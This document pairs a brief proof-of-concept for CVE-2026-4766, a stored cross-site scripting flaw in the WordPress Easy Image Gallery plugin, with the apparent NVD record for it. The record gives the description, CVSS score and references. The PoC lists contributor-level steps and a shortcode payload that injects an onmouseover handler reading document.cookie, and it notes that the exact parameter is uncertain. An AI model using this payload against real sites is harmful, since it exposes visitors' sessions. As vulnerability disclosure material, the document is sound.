CVE-2026-4766

<!-- PoC for CVE-2026-4766 Description: Stored XSS via Easy Image Gallery shortcode post meta. Prerequisites: Contributor level access or higher. --> <!-- Step 1: Log in to WordPress as a Contributor. --> <!-- Step 2: Create a new Post or Page. --> <!-- Step 3: Inject the payload via the vulnerable shortcode or custom field. --> [easy_image_gallery id="1" title="" onmouseover="alert(document.cookie)""] <!-- Note: The specific parameter may vary depending on the exact implementation in template-functions.php, but the concept is injecting script handlers into the shortcode attributes that are rendered unsanitized. -->

{"cve": {"id": "CVE-2026-4766", "sourceIdentifier": "[email protected]", "published": "2026-03-25T02:16:06.137", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Easy Image Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Gallery shortcode post meta field in all versions up to, and including, 1.5.3. This is due to insufficient input sanitization and output escaping on user-supplied gallery shortcode values. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Easy Image Gallery para WordPress es vulnerable a cross-site scripting almacenado a través del campo meta de la publicación del shortcode de Galería en todas las versiones hasta la 1.5.3, inclusive. Esto se debe a una sanitización de entrada y un escape de salida insuficientes en los valores del shortcode de galería proporcionados por el usuario. Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador o superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/easy-image-gallery/tags/1.5.3/includes/template-functions.php#L240", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/easy-image-gallery/trunk/includes/template-functions.php#L240", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e7279f74-c2bd-4601-b8d5-0effe43705a5?source=cve", "source": "[email protected]"}]}}